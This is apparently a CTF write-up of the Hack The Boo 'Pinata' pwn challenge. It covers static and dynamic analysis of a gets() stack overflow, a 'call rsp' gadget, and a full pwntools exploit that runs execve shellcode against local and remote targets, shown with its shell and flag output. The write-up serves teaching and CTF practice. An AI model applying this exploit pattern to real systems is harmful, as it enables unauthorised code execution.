Writeup for the easy ranked Hack The Boo CTF challenge Pinata
Recon
It’s october and Cybersecurity awareness month and a lot of events are going on in the Cybersecurity arena. We found out about Hack The Boo CTF that goes on in parallell with Huntress CTF. I was already heavily invested in that one but what can be more fun than one CTF? Maybe two at the same time!! :) This is how the CTF is described:
Are you afraid of the dark? A fog begins to hang over the villagers, as the denizens of the night have sensed their location deep in the forest. Tooth, claw, and hoof press forward to devour their prey.A grim future awaits our stalwart storytellers. It’s up to you, slayers! Crush this CTF and save the villagers from their peril. Beware! You won’t be getting any help here…
It was a rather short one this year only lasting for three days. But that was perfect since I was already doing the Huntress CTF together with the rest of Cybix. All of the challenges was kind of interesting but I decided to do a small writeup for the pwn that was released on the first day.
So there’s a very short description of the challenge:
Rather than resorting to hitting the pinata, unleash the treasures inside by letting out your loudest screem! Give your all, and the goodies shall be yours!
Well Im not very good with riddles so I have no idea what that means but It seems to follow the usual pattern of a downloadable archive and a remote service running inside a docker container.
Scanning
Examining the downloaded files
First of all let’s extract files from the pwn_pinata.zip that was downloaded from the site.
~/Downloads/ unzip pwn_pinata.zip
Archive: pwn_pinata.zip
creating: challenge/
creating: challenge/glibc/
inflating: challenge/glibc/ld-linux-x86-64.so.2
inflating: challenge/glibc/libc.so.6
inflating: challenge/pinata
extracting: challenge/flag.txt
So it looks like we have a binary with a libc and an example flag. Let’s examine the binary further.
~/Downloads/ cd challenge
~/Downloads/challenge/ file pinata
pinata: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2dcf43face3a1fa76053b1589acf3b6e12d2eba4, for GNU/Linux 3.2.0, not stripped
So we are dealing with a statically linked 64-bit Linux executable. Let’s see what hardening is active:
┌──(root㉿40ada6df22c8)-[/]
└─# checksec pinata
[*] '/pinata'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Ok, I have never seen that NX unknown before. Seems like there are writeable segements and an executable stack but a Canary there. This does not really make sense to me it’s odd combination of countermeasures. But let’s try to get a clearer view using Ghidra.
Static analysis of the binary
Let’s take a closer look on the main() function and see what we got.
undefined8 main(UI *param_1,UI_STRING *param_2)
{
setup();
banner();
reader(param_1,param_2);
write(1,"\nNot loud enough..\n",0x13);
return 0;
}
There’s no signs of canaries in the code. If there were it should look like this:
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
That’s the typical code for checking if the canary has ben altered or not. So I would say that checksec is wrong and ther is no canary. So we will be able to crash the stack without that problem. Though I find it a bit worrying that it looks like you can’t trust checksec anymore.
But now we got to find a bug. I would place a bet on that reader() function to contain some goodies. Let’s se.
int reader(UI *ui,UI_STRING *uis)
{
char *pcVar1;
char local_18 [16];
pcVar1 = gets(local_18);
return (int)pcVar1;
}
And there it is. A simple call to gets() with a buffer that is only 16 bytes. No control of how many bytes the user will input. We will be able to smash the stack there and control the $rip register. I think this is enough information to design a strategy for my attack.
Designing a strategy for the attack
I can see a few ways to attack this binary but since the stack seems to be executable we could put some good old shell code there. But the stack will be affected by ASLR so how do we find out the address. Well perhaps we do not need to. A staticly linked binary should contain a lot of interesting gadgets that we can use. If we can find just a simple gadget like this…
call rsp
—then we do not even need to know the address of the stack, we can just call the code thorough the $rsp. So let’s use ROPGadget to see if there is such gadget available somewhere.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ ROPgadget --binary pinata | grep "call rsp"
0x000000000041830b : add al, ch ; call rsp
0x000000000041830d : call rsp
And voila there it is at address 0x41830d. I think it’s about time we do some dynamic analysis of the binary to see what is needed to take control of the $rip register and execute some shellcode.
Dynamic analysis of the binary
First of all let’s start by running the binary to see what it looks like.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ ./pinata
██████████████████████████████████
█
█
█
█
█ ████
█ ██████
█ ██ ██
████████████████
███████████████▬
█████████████
██ ██ ██ ██
██ ██ ██ ██
Scream as much as you can to break the pinata!!
>> hacker
Not loud enough..
So that’s what it, very simple program. We will need to wait for that prompt “» " before sending a payload. Now let’s generate a cyclic pattern that we can use to calculate the offest that we need to fill up before our gadget in the payload. 32 bytes should be enought since the buffer is only 16 bytes.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
Then we start up the good old GDB so that we can send in our cyclic pattern, make it crash and then take a look at the stack pointer.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ gdb pinata
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pinata...
(No debugging symbols found in pinata)
(gdb) run
Starting program: /home/kali/Downloads/challenge/pinata
██████████████████████████████████
█
█
█
█
█ ████
█ ██████
█ ██ ██
████████████████
███████████████▬
█████████████
██ ██ ██ ██
██ ██ ██ ██
Scream as much as you can to break the pinata!!
>> aaaabaaacaaadaaaeaaafaaagaaahaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401889 in reader ()
(gdb) x $rsp
0x7fffffffdd58: 0x61616167
So let’s use what the stack pointer is currently pointing at to calculate the offset.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ cyclic -l 0x61616167
24
So 24 is the magic number. That’s the length of the buffer we need to send before our gadget and the preceeding shellcode. That’s all we need to start writing some exploit code.
Gaining Access
Writing the exploit code
As allways I use python and pwntools to create some exploit code. Pwntools can actually generate the shellcode using shellcraft.sh() for us which is nice. We can just try it out to see what the shell code will look like.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ python3
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> elf = ELF('/home/kali/Downloads/challenge/pinata')
[*] '/home/kali/Downloads/challenge/pinata'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
>>> context.binary = elf
>>> print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
That looks a lot like x64 shellcode to me. I think we can put the pieces together to try it out locally and it should look like this:
from pwn import *
elf = ELF('/home/kali/Downloads/challenge/pinata')
context.binary = elf
CALL_RSP = p64(0x000000000041830d)
shellcode = asm(shellcraft.sh())
r = process('/home/kali/Downloads/challenge/pinata')
#r = remote('94.237.62.195', 50787)
payload = cyclic(24) + CALL_RSP + shellcode
r.sendlineafter(b'>> ', payload)
r.interactive()
Let’s try to run this and see if we can spawn a shell.
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ python3 exploit.py
[*] '/home/kali/Downloads/challenge/pinata'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Starting local process '/home/kali/Downloads/challenge/pinata': pid 35175
[*] Switching to interactive mode
$ ls
exploit.py flag.txt glibc pinata
$ cat flag.txt
HTB{f4k3_fl4g_4_t35t1ng}
That worked very well locally. So we better make a run for it against our target. Just change the code to connect to our remote target instead:
from pwn import *
elf = ELF('/home/kali/Downloads/challenge/pinata')
context.binary = elf
CALL_RSP = p64(0x000000000041830d)
shellcode = asm(shellcraft.sh())
#r = process('/home/kali/Downloads/challenge/pinata')
r = remote('94.237.62.195', 50787)
payload = cyclic(24) + CALL_RSP + shellcode
r.sendlineafter(b'>> ', payload)
r.interactive()
And now let’s fire of our payload against our remote target:
┌──(kali㉿kali)-[~/Downloads/challenge]
└─$ python3 exploit.py
[*] '/home/kali/Downloads/challenge/pinata'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to 94.237.62.195 on port 50787: Done
[*] Switching to interactive mode
$ ls
flag.txt
glibc
pinata
$ cat flag.txt
HTB{5t4t1c4lly_l1nk3d_jmp_r4x_sc}
And BOOM!!! We got a shell and we got our flag and we are all done here.
Summary
Last year we came in at place 18 in Hack The Boo. That competition was longer and with more challenges. I actually think it was going on for a week then but I can’t really remember. Anyway this year all the challenges were solved and we there was an improvement on the scoreboard, 17 out of 2265 is pretty ok :)
As always the challenges in a CTF:s arranged by Hack The Box are always very well design and fun to play. PWN is like a dying art but they twist things a bit to make some unique stuff. I still think this is a very important thing to master and understand and that’s why I keep doing them and posting writeups.
Fewer and fewer people REALLY understand the inner workings of a computer. That needs to change and im on a mission to spread the word! :)
Until the next time, happy hacking!
/f1rstr3am